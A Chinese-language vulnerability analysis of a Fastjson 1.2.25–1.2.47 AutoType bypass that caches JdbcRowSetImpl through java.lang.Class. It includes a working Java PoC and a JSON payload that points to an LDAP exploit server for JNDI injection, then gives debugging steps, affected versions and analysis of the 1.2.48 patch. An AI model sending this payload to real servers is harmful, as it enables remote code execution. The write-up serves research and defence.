绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

Demo如下,无需开启AutoTypeSupport,本地Fastjson用的是1.2.47版本:

1
2
3
4
5
6
7
8
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

此外,还需要开启RMI服务或LDAP服务以及放置恶意类的Web服务,具体可参考之前的Fastjson系列文章即可。
运行能成功弹计算器

POC:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}

可以看到还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。
但是如果目标服务端开启了AutoTypeSupport呢?

经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

    0x04 调试分析

下面我们来调试分析下该PoC为啥会成功。

不受AutoTypeSupport影响的版本

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

未开启AutoTypeSupport时

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:

图片

图片

往下调试,调用到MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量

图片

图片

图片

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类

图片

图片

在TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中

图片

在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

图片

图片

图片

开启AutoTypeSupport时

由前面知道,开启AutoTypeSupport后,在checkAutoType()函数中会进入黑白名单校验的代码逻辑。

在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类

图片

图片

图片

关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类”com.sun.rowset.JdbcRowSetImpl”,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?

我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞

受AutoTypeSupport影响的版本

受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。

开启AutoTypeSupport时

我们在开启AutoTypeSupport之后,会利用失败,报如下错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试发现,在第一部分JSON数据的解析中,checkAutoType()函数的处理过程和前面是差不多的。能够成功通过该函数的检测,因此问题不在这,继续往下调试。
在第二部分JSON数据的解析中,@type指向的”com.sun.rowset.JdbcRowSetImpl”在checkAutoType()函数中会被dentList黑名单中的”com.sun.”匹配到,因此会直接报错显示不支持

图片

图片

可以明显看到,第一个if语句是白名单过滤,第二个if语句是黑名单过滤,其中黑名单过滤的if语句中的判断条件和前面的不受影响的版本的不一样,对比下是少了个判断条件,即TypeUtils.getClassFromMapping(typeName) == null

未开启AutoTypeSupport时

当不开启AutoTypeSupport时就不会进入该黑白名单校验的代码逻辑中,就不会被过滤报错。

这里,我们换个不受AutoTypeSupport影响的且未使用哈希黑名单的版本来方便我们进行对比查看,这里选了1.2.33,看下checkAutoType()中对应的代码

图片

对比黑名单校验的if判断语句条件就知道了,为什么后面的版本不受影响,那是因为通过&&多添加了一个判断条件TypeUtils.getClassFromMapping(typeName) == null,但是第二部分JSON内容中的类已经通过第一部分解析的时候加载到Map中缓存了,因此该条件不成立从而成功绕过

1
2
3
4
5
// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {

0x05 补丁分析

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

运行会报错:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了
1.2.48版本

图片

1.2.47版本

图片

图片

导致目标类并不能缓存到Map中了

图片

图片

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉

图片